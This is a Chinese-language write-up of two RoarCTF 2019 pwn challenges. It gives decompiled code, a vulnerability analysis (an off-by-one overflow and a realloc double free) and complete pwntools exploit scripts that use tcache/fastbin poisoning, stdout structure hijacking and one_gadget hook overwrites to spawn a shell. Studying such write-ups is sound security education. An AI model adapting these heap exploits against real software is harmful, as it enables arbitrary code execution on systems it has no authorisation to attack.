RoarCTF 2019 pwn

嘶吼 CTF 2019 PWN 题解

easy_pwn

题目信息

nevv@ubuntu:~/Desktop$ ./easy_pwn.dms 
Note system
1. create a note
2. write note
3. drop the note
4. show the note
5. exit
choice:
nevv@ubuntu:~/Desktop$ checksec easy_pwn.dms
[*] '/home/nevv/Desktop/easy_pwn.dms'
    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled
main
__int64 __fastcall main(__int64 a1, char **a2, char **a3)
{
  __int64 v3; // rdi
  unsigned int v5; // [rsp+4h] [rbp-Ch]
  __int64 savedregs; // [rsp+10h] [rbp+0h]

  sub_AD0(a1, a2, a3);
  while ( 1 )
  {
    print_menu();
    v3 = v5;
    v5 = get_choice(v5);
    switch ( (unsigned int)&savedregs )
    {
      case 1u:
        create(v3);
        break;
      case 2u:
        puts("Tell me the secret about you!!");
        writeNote();
        break;
      case 3u:
        deleteNote();
        break;
      case 4u:
        showNote(v3);
        break;
      case 5u:
        return 0LL;
      default:
        puts("Wrong try again!!");
        break;
    }
  }
}
create
__int64 create()
{
  __int64 result; // rax
  int v1; // ST0C_4
  unsigned int i; // [rsp+4h] [rbp-1Ch]
  int v3; // [rsp+8h] [rbp-18h]
  signed int v4; // [rsp+8h] [rbp-18h]
  void *v5; // [rsp+10h] [rbp-10h]

  result = 0LL;
  for ( i = 0; (signed int)i <= 15; ++i )
  {
    result = *((unsigned int *)&unk_202040 + 4 * (signed int)i);
    if ( !(_DWORD)result )
    {
      printf("size: ");
      v4 = get_choice(v3);
      if ( v4 > 0 )
      {
        if ( v4 > 4096 )  
          v4 = 4096;
        v5 = calloc(v4, 1uLL);
        if ( !v5 )
          exit(-1);
        *((_DWORD *)&unk_202040 + 4 * (signed int)i) = 1;
        *((_DWORD *)&unk_202044 + 4 * (signed int)i) = v4;
        qword_202048[2 * (signed int)i] = v5;
        v1 = qword_202048[2 * (signed int)i] & 0xFFF;
        printf("the index of ticket is %d \n", i);
      }
      return i;
    }
  }
  return result;
}
  • 最多16个note
  • 大小最大为4096
  • 使用calloc分配内存
  • unk_202040存储记录是否正在使用的flag,unk_202044记录大小
  • qword_202048数组中保存content地址
writeNote
__int64 writeNote()
{
  int v1; // [rsp+Ch] [rbp-14h]
  signed int v2; // [rsp+Ch] [rbp-14h]
  signed int v3; // [rsp+10h] [rbp-10h]
  int v4; // [rsp+14h] [rbp-Ch]

  printf("index: ");
  v2 = get_choice(v1);
  v3 = v2;
  if ( v2 >= 0 && v2 <= 15 )
  {
    v2 = *((_DWORD *)&unk_202040 + 4 * v2);
    if ( v2 == 1 )
    {
      printf("size: ");
      v2 = get_choice(1);
      v4 = modify_size(*((_DWORD *)&unk_202044 + 4 * v3), v2);
      if ( v2 > 0 )
      {
        printf("content: ", (unsigned int)v2);
        v2 = writecontent(qword_202048[2 * v3], v4);
      }
    }
  }
  return (unsigned int)v2;
}

这里 modifyize 函数会调整修改的大小,造成单字节溢出:

__int64 __fastcall modify_size(signed int a1, unsigned int a2)
{
  __int64 result; // rax

  if ( a1 > (signed int)a2 )
    return a2;
  if ( a2 - a1 == 10 )
    LODWORD(result) = a1 + 1;
  else
    LODWORD(result) = a1;
  return (unsigned int)result;
}
deleteNote
__int64 deleteNote()
{
  int v0; // eax
  int v2; // [rsp+Ch] [rbp-14h]
  int v3; // [rsp+10h] [rbp-10h]
  __int64 v4; // [rsp+10h] [rbp-10h]

  printf("index: ");
  v0 = get_choice(v3);
  v4 = v0;
  v2 = v0;
  if ( v0 >= 0LL && v0 <= 15LL )
  {
    v4 = *((signed int *)&unk_202040 + 4 * v0);
    if ( v4 == 1 )
    {
      *((_DWORD *)&unk_202040 + 4 * v0) = 0;
      *((_DWORD *)&unk_202044 + 4 * v0) = 0;
      free((void *)qword_202048[2 * v0]);
      qword_202048[2 * v2] = 0LL;
    }
  }
  return v4;
}
showNote
__int64 showNote()
{
  int v1; // [rsp+0h] [rbp-10h]
  __int64 v2; // [rsp+0h] [rbp-10h]

  printf("index: ");
  LODWORD(v2) = get_choice(v1);
  HIDWORD(v2) = v2;
  if ( (signed int)v2 >= 0 && (signed int)v2 <= 15 )
  {
    LODWORD(v2) = *((_DWORD *)&unk_202040 + 4 * (signed int)v2);
    if ( (_DWORD)v2 == 1 )
    {
      printf("content: ", v2);
      LODWORD(v2) = sub_108E(qword_202048[2 * SHIDWORD(v2)], *((unsigned int *)&unk_202044 + 4 * SHIDWORD(v2)));
    }
  }
  return (unsigned int)v2;
}

漏洞分析

  • 写content内容的时候存在off by one

  • 和0ctf Babyheap 2018类似,但是更简单了

EXP

# coding:utf-8
from pwn import *
elf = ELF("./easy_pwn.dms")
# p = process("./easy_pwn.dms")

context.log_level = "info"
p = remote("39.97.182.233",49298)
def alloc(size):
    p.recvuntil("choice: ")
    p.sendline("1")
    p.recvuntil("size: ")
    p.sendline(str(size))

def free(index):
    p.recvuntil("choice: ")
    p.sendline("3")
    p.recvuntil("index: ")
    p.sendline(str(index))

def update(index, size, content):
    p.recvuntil("choice: ")
    p.sendline("2")
    p.recvuntil("index: ")
    p.sendline(str(index))
    p.recvuntil("size: ")
    p.sendline(str(size))
    p.recvuntil("content: ")
    p.sendline(content)

def show(index):
    p.recvuntil("choice: ")
    p.sendline("4")
    p.recvuntil("index: ")
    p.sendline(str(index))

libc_offset = 0x3c4b78
one_offset = 0x4526a

##### leak_address #####
alloc(0x58) #0
alloc(0x60) #1
alloc(0x60) #2
alloc(0x60) #3
alloc(0x60) #4
update(0, 0x58 + 10, "A"*0x58 + "\xe1") # modify #1 size

free(1)   #1   # to unsortedbin

alloc(0x60) #1 # malloc from fake #1
show(2) # in unsorted bin --> store main_arena
p.recvuntil("content: ")
leak = u64(p.recv(6).ljust(8,'\x00'))
libc_base = leak - libc_offset
alloc(0x60) # 5 <==> 2 
main_arena = leak - 0x58
print("libc_base =====> %s" % hex(libc_base))
print("main_arena =====> %s" % hex(main_arena))

"""
pwndbg> x /30gx 0x202048+0x55a10cb37000
0x55a10cd39048: 0x000055a10d797010  0x0000006000000001
0x55a10cd39058: 0x000055a10d797070  0x0000005000000001
0x55a10cd39068: 0x000055a10d7970e0  0x0000006000000001
0x55a10cd39078: 0x000055a10d797140  0x0000006000000001
0x55a10cd39088: 0x000055a10d7971b0  0x0000005000000001
0x55a10cd39098: 0x000055a10d7970e0  0x0000000000000000
"""


libc_realloc = libc_base + 0x846c0
fake_chunk = libc_base + 0x3c4aed
free(2) 


update(5,0x8,p64(main_arena-0x33))
alloc(0x60) # 2
alloc(0x60) # 6

one = libc_base + one_offset
pay = '\x00'*11 + p64(one) + p64(libc_realloc+2)
update(6,len(pay),pay)

alloc(0x100) # 2 

p.interactive()

题目链接:https://github.com/hebtuerror404/CTF_competition_warehouse_2019/tree/master/2019_RoarCTF/PWN

realloc magic

题目信息

main
// local variable allocation has failed, the output may be wrong!
int __cdecl __noreturn main(int argc, const char **argv, const char **envp)
{
  int v3; // eax

  init(*(_QWORD *)&argc, argv, envp);
  while ( 1 )
  {
    menu();
    v3 = get_int();
    switch ( v3 )
    {
      case 2:
        fr();
        break;
      case 666:
        ba();
        break;
      case 1:
        re();
        break;
      default:
        puts("invalid choice");
        break;
    }
  }
}
666 ba 函数
int ba()
{
  if ( lock )
    exit(-1);
  lock = 1;
  realloc_ptr = 0LL;
  return puts("Done");
}
free函数
int fr()
{
  free(realloc_ptr);
  return puts("Done");
}
  • free后没有置为NULL
realloc函数
int re()
{
  unsigned int size; // ST0C_4

  puts("Size?");
  size = get_int();
  realloc_ptr = realloc(realloc_ptr, size);
  puts("Content?");
  read(0, realloc_ptr, size);
  return puts("Done");
}

漏洞分析

存在 double free , 观察 realloc 源码可知当传入的chunk不为空,且size为0的情况下,会free掉原chunk并且返回0。

  if (bytes == 0 && oldmem != NULL)
    {
      __libc_free (oldmem); return 0;
    }
  • tcachebin中的链表指针指向的下一个chunk的fd字段

  • 泄漏libc,使用stdout

因此需要控制stdout结构体满足以下条件实现任意泄露:
_IO_write_base指向想要泄露的地方。
_IO_write_ptr指向泄露结束的地址。
_IO_read_end等于_IO_write_base以绕过多余的代码。
满足这三个条件,可实现任意读。

大体的利用方法就是利用unsorted bin的在tcachefastbin的fd上踩出main_arena的地址,然后部分覆盖修改main_arena的地址实现对stdout的地址进行爆破,从而劫持stdout以达到泄露的目的 。

对于没有tcache的 glibc 版本,我们可以使用 fastbin attack就好,因为_IO_2_1_stdout_上面就是_IO_2_1_stderr_stderr->__pad2一般是指向_IO_wide_data_2的指针,而_IO_wide_data_2是在libc中的,所以我们可以用其来伪造size。

EXP

  • 流程大概如下:
    • 首先利用double free,构造出同时在tcache中和unsortbin中的chunk
    • 然后利用realloc的特性,使得地址在unsortbin chunk的chunk和unsortbin合并
      • 这样就可以修改unsortbin中的low bit 使其指向stdout
    • 分配到stdout并修改_IO_2_1_stdout_结构,泄漏libcbase地址
    • 再次利用double free,修改tcache中的fd字段指向freehook,由于tcache在分配的时候不对size字段进行检查,因此下次再分配的时候分配到freehook处,使用one_shot即可
#coding:utf-8
 
from pwn import *
binary = './pwn.dms'
 
io = None

sa = lambda x,y : io.sendafter(x,y)
sl = lambda x : io.sendline(x)
sd = lambda x : io.send(x)
sla = lambda x,y : io.sendlineafter(x,y)
rud = lambda x : io.recvuntil(x,drop=True)
ru = lambda x : io.recvuntil(x,timeout = 0.2)
 
def lg(s, addr):
    print('\033[1;31;40m%30s-->0x%x\033[0m' % (s, addr))

# env = {"LD_PRELOAD": os.path.join(os.getcwd(), "libc.so.6")}
env = {}
io = process(binary,  env=env)
elf = ELF(binary)
proc_base = io.libs()[os.path.abspath(os.path.join(os.getcwd(), binary))]
# libc_bb = io.libs()['/lib/x86_64-linux-gnu/libc.so.6']
libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")

 
libc_base,__malloc_hook,system = None,None,None
 
def magic(offset):
    global libc_base,__malloc_hook,system,__free_hook
    leak = u64(ru("\x7f")[-6:].ljust(8,'\x00'))
    lg('leak',leak)
    libc_base = leak - offset
    lg('base',libc_base)
    __malloc_hook = libc_base + libc.symbols['__malloc_hook']
    __free_hook = libc_base + libc.symbols['__free_hook']
    system = libc_base + libc.symbols['system']
 
 
def debug(msg=""):
    pwnlib.gdb.attach(io,msg)
 
def add(sz,con):
    sla(">>","1")
    io.sendlineafter("Size?",str(sz))
    sa("?",con)
 
def free():
    sla(">>","2")
 
def magic_():
    sla(">>","666")
 
def exploit():


    add(0x70,'a')
    add(0x0,'')
    add(0x100,'a')
    add(0x0,'')
    add(0xe0,'a')
    add(0x0,'')
    add(0x100,'a')

    [free() for i in range(7)] # tcache 0x110[7]

    add(0x0,'')  # main_arena 0x110
    # debug()
    """
    pwndbg> bins
    tcachebins
    0x80 [  1]: 0x5635423da260 ◂— 0x0
    0xf0 [  1]: 0x5635423da3f0 ◂— 0x0
    0x110 [  7]: 0x5635423da2e0 —▸ 0x7fc3d952eca0 (main_arena+96) —▸ 0x5635423da4d0 ◂— 0x0
    unsortedbin
    all: 0x5635423da2d0 —▸ 0x7fc3d952eca0 (main_arena+96) ◂— 0x5635423da2d0
    smallbins
    """
    add(0x70,'a') # malloc 0x5635423da260
 
    # debug()
    add(0x180,chr(0) * 0x78 + p64(0x41) + '\x60\x57') 
    # 1.realloc heap_260 and merge unsortedbin
    # 2.modift 0x5635423da2e0 chunk size to 0x41
    # 3.modify the low bits because  the main_arena and (_IO_2_1_stdout_) is adjacent.
    """

    0xf0 [  1]: 0x56404f2a83f0 ◂— 0x0
    0x110 [  7]: 0x56404f2a82e0 —▸ 0x7fc1145c5760 (_IO_2_1_stdout_) ◂— 0xfbad2887
    fastbins
    """
 
    add(0x0,'') # free to tacache 0x190

    add(0x100,'a') # malloc tacache 0x110[0]

    """
    tcachebins
    0xf0 [  1]: 0x560d6b96b3f0 ◂— 0x0
    0x110 [  6]: 0x7fd6e9015760 (unsafe_state+32) ◂— 0x3
    0x190 [  1]: 0x560d6b96b260 ◂— 0x0
    """

    add(0x0,'')  # free to tcache 0x40
    """
    tcachebins
    0x40 [  1]: 0x558b354b42e0 ◂— 0x0
    0xf0 [  1]: 0x558b354b43f0 ◂— 0x0
    0x110 [  6]: 0x7f5c3e755760 (sys_errlist+512) —▸ 0x7f5c3e520551 ◂— 'Machine is not on the network'
    0x190 [  1]: 0x558b354b4260 ◂— 0x0
    """

    add(0x100,p64(0xfbad1887) + p64(0) *3 + "\x00") # leak

    magic(0x3ed8b0) # get libc_base
    magic_()  # ptr->null
    """
    tcachebins
    0x40 [  1]: 0x560f2b2d02e0 ◂— 0x0
    0xf0 [  1]: 0x560f2b2d03f0 ◂— 0x0
    0x110 [  5]: 0xfbad2887
    0x190 [  1]: 0x560f2b2d0260 ◂— 0x0
    """

    add(0x70,'a')
    add(0x0,'')
    add(0x110,'a')
    add(0x0,'')
    add(0xf0,'a')
    add(0x0,'')
    add(0x110,'a')
    # debug()
    """
    tcachebins
    0x40 [  1]: 0x55ca6898b2e0 ◂— 0x0
    0x80 [  1]: 0x55ca6898b4e0 ◂— 0x0
    0xf0 [  1]: 0x55ca6898b3f0 ◂— 0x0
    0x100 [  1]: 0x55ca6898b680 ◂— 0x0
    0x110 [  5]: 0xfbad2887
    0x190 [  1]: 0x55ca6898b260 ◂— 0x0
    """
    [free() for i in range(7)]
    add(0x0,'')
    add(0x70,'a')
    """
    tcachebins
    0x40 [  1]: 0x555a5832b2e0 ◂— 0x0
    0xf0 [  1]: 0x555a5832b3f0 ◂— 0x0
    0x100 [  1]: 0x555a5832b680 ◂— 0x0
    0x110 [  5]: 0xfbad2887
    0x120 [  7]: 0x555a5832b560 —▸ 0x7fc76a974ca0 (main_arena+96) —▸ 0x555a5832b770 ◂— 0x0
    0x190 [  1]: 0x555a5832b260 ◂— 0x0
    fastbins
    0x20: 0x0
    0x30: 0x0
    0x40: 0x0
    0x50: 0x0
    0x60: 0x0
    0x70: 0x0
    0x80: 0x0
    unsortedbin
    all: 0x555a5832b550 —▸ 0x7fc76a974ca0 (main_arena+96) ◂— 0x555a5832b550
    """

    add(0x190,chr(0) * 0x78 + p64(0x41) + p64(libc_base + 0x3ed8e8)) 
    # merge heap_4e0@size_0x80 and unsortbin heap_550@size_120
    # so tcache 0x120 [  7] 0x555a5832b560 -> free_hook
    debug()
    """
    pwndbg> x /40gx 0x564d5eca24e0
    0x564d5eca24e0: 0x0000000000000000  0x0000000000000000
    0x564d5eca24f0: 0x0000000000000000  0x0000000000000000
    0x564d5eca2500: 0x0000000000000000  0x0000000000000000
    0x564d5eca2510: 0x0000000000000000  0x0000000000000000
    0x564d5eca2520: 0x0000000000000000  0x0000000000000000
    0x564d5eca2530: 0x0000000000000000  0x0000000000000000
    0x564d5eca2540: 0x0000000000000000  0x0000000000000000
    0x564d5eca2550: 0x0000000000000000  0x0000000000000041
    0x564d5eca2560: 0x00007fa55fbf68e8  0x00007fa55fbf4ca0
    0x564d5eca2570: 0x0000000000000000  0x0000000000000000
    """

    add(0x0,'')
 
    add(0x110,'a') # malloc tcache 0x120 0x555a5832b560 
    add(0x0,'')
    lg('__free_hook',__free_hook)
 
    one_gg = libc_base + 0x4f322
    add(0x110,p64(one_gg)) # leak
    # There is no security check in 
    sl("2")
 
    success(" get shell ")
    # debug()

 
    io.interactive()
 
 
if __name__ == "__main__":
    while(True):
        io = process(binary,  env=env)
        try:
            exploit()
            io.close()
        except Exception as e:
            continue
"""
0x4f2c5 execve("/bin/sh", rsp+0x40, environ)
constraints:
  rcx == NULL
 
0x4f322 execve("/bin/sh", rsp+0x40, environ)
constraints:
  [rsp+0x40] == NULL
 
0x10a38c execve("/bin/sh", rsp+0x70, environ)
constraints:
  [rsp+0x70] == NULL
"""

参考链接:

  • https://bbs.pediy.com/thread-255095.htm

  • https://www.anquanke.com/post/id/188785#h3-4

  • https://www.secpulse.com/archives/111304.html

你可能感兴趣的:(RoarCTF 2019 pwn)